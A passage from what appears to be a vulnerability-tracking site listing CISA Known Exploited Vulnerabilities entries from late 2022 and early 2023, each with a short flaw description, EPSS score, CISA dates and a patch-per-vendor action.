FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-0669&date=2026-10-25
CISA added this entry on 2023-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2023; federal due date Mar 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle E-Business Suite Unspecified Vulnerability
https://kevwire.com/record/CVE-2022-21587
Oracle E-Business Suite Unspecified Vulnerability (Feb 2, 2023).
Oracle E-Business Suite contains an unspecified vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise Oracle Web Applications Desktop Integrator.
EPSS 98.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-21587&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-21587: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-21587&date=2026-10-25
CISA added this entry on 2023-02-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 2, 2023; federal due date Feb 23, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SugarCRM Multiple Products: Multiple SugarCRM Products Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2023-22952
SugarCRM Multiple Products: Multiple SugarCRM Products Remote Code Execution Vulnerability (Feb 2, 2023).
Multiple SugarCRM products contain a remote code execution vulnerability in the EmailTemplates. Using a specially crafted request, custom PHP code can be injected through the EmailTemplates.
EPSS 80.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-22952&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-22952: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-22952&date=2026-10-25
CISA added this entry on 2023-02-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 2, 2023; federal due date Feb 23, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Telerik UI for ASP.NET AJAX Insecure Direct Object Reference Vulnerability
https://kevwire.com/record/CVE-2017-11357
Telerik UI for ASP.NET AJAX Insecure Direct Object Reference Vulnerability (Jan 26, 2023).
Telerik UI for ASP.NET AJAX contains an insecure direct object reference vulnerability in RadAsyncUpload that can result in file uploads in a limited location and/or remote code execution.
EPSS 77.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-11357&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-11357: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-11357&date=2026-10-25
CISA added this entry on 2023-01-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 26, 2023; federal due date Feb 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zoho ManageEngine Multiple Products Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-47966
Zoho ManageEngine Multiple Products Remote Code Execution Vulnerability (Jan 23, 2023).
Multiple Zoho ManageEngine products contain an unauthenticated remote code execution vulnerability due to the usage of an outdated third-party dependency, Apache Santuario.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-47966&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-47966: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-47966&date=2026-10-25
CISA added this entry on 2023-01-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 23, 2023; federal due date Feb 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### CWP Control Web Panel OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2022-44877
CWP Control Web Panel OS Command Injection Vulnerability (Jan 17, 2023).
CWP Control Web Panel (formerly CentOS Web Panel) contains an OS command injection vulnerability that allows remote attackers to execute commands via shell metacharacters in the login parameter.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-44877&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-44877: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-44877&date=2026-10-25
CISA added this entry on 2023-01-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 17, 2023; federal due date Feb 7, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-41080
Microsoft Exchange Server Privilege Escalation Vulnerability (Jan 10, 2023).
Microsoft Exchange Server contains an unspecified vulnerability that allows for privilege escalation. This vulnerability is chainable with CVE-2022-41082, which allows for remote code execution.
EPSS 77.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41080&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-41080: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41080&date=2026-10-25
CISA added this entry on 2023-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2023; federal due date Jan 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Advanced Local Procedure Call (ALPC) Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-21674
Microsoft Windows Advanced Local Procedure Call (ALPC) Privilege Escalation Vulnerability (Jan 10, 2023).
Microsoft Windows Advanced Local Procedure Call (ALPC) contains an unspecified vulnerability that allows for privilege escalation.
EPSS 34.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21674&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-21674: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21674&date=2026-10-25
CISA added this entry on 2023-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 10, 2023; federal due date Jan 31, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TIBCO JasperReports Server Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2018-5430
TIBCO JasperReports Server Information Disclosure Vulnerability (Dec 29, 2022).
TIBCO JasperReports Server contain a vulnerability which may allow any authenticated user read-only access to the contents of the web application, including key configuration files.
EPSS 48.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-5430&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-5430: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-5430&date=2026-10-25
CISA added this entry on 2022-12-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 29, 2022; federal due date Jan 19, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### TIBCO JasperReports Library Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2018-18809
TIBCO JasperReports Library Directory Traversal Vulnerability (Dec 29, 2022).
TIBCO JasperReports Library contains a directory-traversal vulnerability that may allow web server users to access contents of the host system.
EPSS 79.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-18809&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-18809: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-18809&date=2026-10-25
CISA added this entry on 2022-12-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 29, 2022; federal due date Jan 19, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS Type Confusion Vulnerability
https://kevwire.com/record/CVE-2022-42856
Apple iOS Type Confusion Vulnerability (Dec 14, 2022).
Apple iOS contains a type confusion vulnerability when processing maliciously crafted web content leading to code execution.
EPSS 8.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-42856&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-42856: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-42856&date=2026-10-25
CISA added this entry on 2022-12-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 14, 2022; federal due date Jan 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2022-42475
Fortinet FortiOS Heap-Based Buffer Overflow Vulnerability (Dec 13, 2022).
Multiple versions of Fortinet FortiOS SSL-VPN contain a heap-based buffer overflow vulnerability which can allow an unauthenticated, remote attacker to execute arbitrary code or commands via specifically crafted requests.
EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-42475&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-42475: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-42475&date=2026-10-25
CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 13, 2022; federal due date Jan 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Defender SmartScreen Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2022-44698
Microsoft Defender SmartScreen Security Feature Bypass Vulnerability (Dec 13, 2022).
Microsoft Defender SmartScreen contains a security feature bypass vulnerability that could allow an attacker to evade Mark of the Web (MOTW) defenses via a specially crafted malicious file.
EPSS 76.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-44698&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-44698: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-44698&date=2026-10-25
CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 13, 2022; federal due date Jan 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix Application Delivery Controller (ADC) and Gateway Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2022-27518
Citrix Application Delivery Controller (ADC) and Gateway Authentication Bypass Vulnerability (Dec 13, 2022).
Citrix Application Delivery Controller (ADC) and Gateway, when configured with SAML SP or IdP configuration, contain an authentication bypass vulnerability that allows an attacker to execute code as administrator.
EPSS 6.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-27518&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-27518: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-27518&date=2026-10-25
CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 13, 2022; federal due date Jan 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Veeam Backup & Replication Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-26500
Veeam Backup & Replication Remote Code Execution Vulnerability (Dec 13, 2022).
The Veeam Distribution Service in the Backup & Replication application allows unauthenticated users to access internal API functions. A remote attacker can send input to the internal API which may lead to uploading and executing of malicious code.
EPSS 5.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26500&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26500: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26500&date=2026-10-25
CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 13, 2022; federal due date Jan 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Veeam Backup & Replication Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-26501
Veeam Backup & Replication Remote Code Execution Vulnerability (Dec 13, 2022).
The Veeam Distribution Service in the Backup & Replication application allows unauthenticated users to access internal API functions. A remote attacker can send input to the internal API which may lead to uploading and executing of malicious code.
EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26501&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26501: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26501&date=2026-10-25
CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 13, 2022; federal due date Jan 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2022-4262
Google Chromium V8 Type Confusion Vulnerability (Dec 5, 2022).
Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 23.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-4262&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-4262: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-4262&date=2026-10-25
CISA added this entry on 2022-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Dec 5, 2022; federal due date Dec 26, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Fusion Middleware Unspecified Vulnerability
https://kevwire.com/record/CVE-2021-35587
Oracle Fusion Middleware Unspecified Vulnerability (Nov 28, 2022).
Oracle Fusion Middleware Access Manager allows an unauthenticated attacker with network access via HTTP to takeover the Access Manager product.
EPSS 96.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-35587&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-35587: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-35587&date=2026-10-25
CISA added this entry on 2022-11-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 28, 2022; federal due date Dec 19, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium GPU Heap Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2022-4135
Google Chromium GPU Heap Buffer Overflow Vulnerability (Nov 28, 2022).
Google Chromium GPU contains a heap buffer overflow vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 31.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-4135&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-4135: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-4135&date=2026-10-25
CISA added this entry on 2022-11-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 28, 2022; federal due date Dec 19, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2022-41049
Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability (Nov 14, 2022).
Microsoft Windows Mark of the Web (MOTW) contains a security feature bypass vulnerability resulting in a limited loss of integrity and availability of security features.
EPSS 2.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41049&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-41049: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41049&date=2026-10-25
CISA added this entry on 2022-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 14, 2022; federal due date Dec 9, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2022-41091
Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability (Nov 8, 2022).
Microsoft Windows Mark of the Web (MOTW) contains a security feature bypass vulnerability resulting in a limited loss of integrity and availability of security features.
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41091&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-41091: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41091&date=2026-10-25
CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 8, 2022; federal due date Dec 9, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Print Spooler Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-41073
Microsoft Windows Print Spooler Privilege Escalation Vulnerability (Nov 8, 2022).
Microsoft Windows Print Spooler contains an unspecified vulnerability that allows an attacker to gain SYSTEM-level privileges.
EPSS 2.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41073&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-41073: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41073&date=2026-10-25
CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 8, 2022; federal due date Dec 9, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows CNG Key Isolation Service Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-41125
Microsoft Windows CNG Key Isolation Service Privilege Escalation Vulnerability (Nov 8, 2022).
Microsoft Windows Cryptographic Next Generation (CNG) Key Isolation Service contains an unspecified vulnerability that allows an attacker to gain SYSTEM-level privileges.
EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41125&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-41125: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41125&date=2026-10-25
CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 8, 2022; federal due date Dec 9, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Scripting Languages Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-41128
Microsoft Windows Scripting Languages Remote Code Execution Vulnerability (Nov 8, 2022).
Microsoft Windows contains an unspecified vulnerability in the JScript9 scripting language which allows for remote code execution.
EPSS 24.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-41128&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-41128: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-41128&date=2026-10-25
CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 8, 2022; federal due date Dec 9, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung Mobile Devices Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2021-25337
Samsung Mobile Devices Improper Access Control Vulnerability (Nov 8, 2022).
Samsung mobile devices contain an improper access control vulnerability in clipboard service which allows untrusted applications to read or write arbitrary files. This vulnerability was chained with CVE-2021-25369 and CVE-2021-25370.
EPSS 2.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25337&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-25337: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25337&date=2026-10-25
CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 8, 2022; federal due date Nov 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung Mobile Devices Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2021-25369
Samsung Mobile Devices Improper Access Control Vulnerability (Nov 8, 2022).
Samsung mobile devices using Mali GPU contains an improper access control vulnerability in sec_log file. Exploitation of the vulnerability exposes sensitive kernel information to the userspace. This vulnerability was chained with CVE-2021-25337 and CVE-2021-25370.
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25369&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-25369: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25369&date=2026-10-25
CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 8, 2022; federal due date Nov 29, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung Mobile Devices Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2021-25370
Samsung Mobile Devices Memory Corruption Vulnerability (Nov 8, 2022).
Samsung mobile devices using Mali GPU contain an incorrect implementation handling file descriptor in dpu driver. This incorrect implementation results in memory corruption, leading to kernel panic. This vulnerability was chained with CVE-2021-25337 and CVE-2021-25369.
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25370&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-25370: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25370&date=2026-10-25
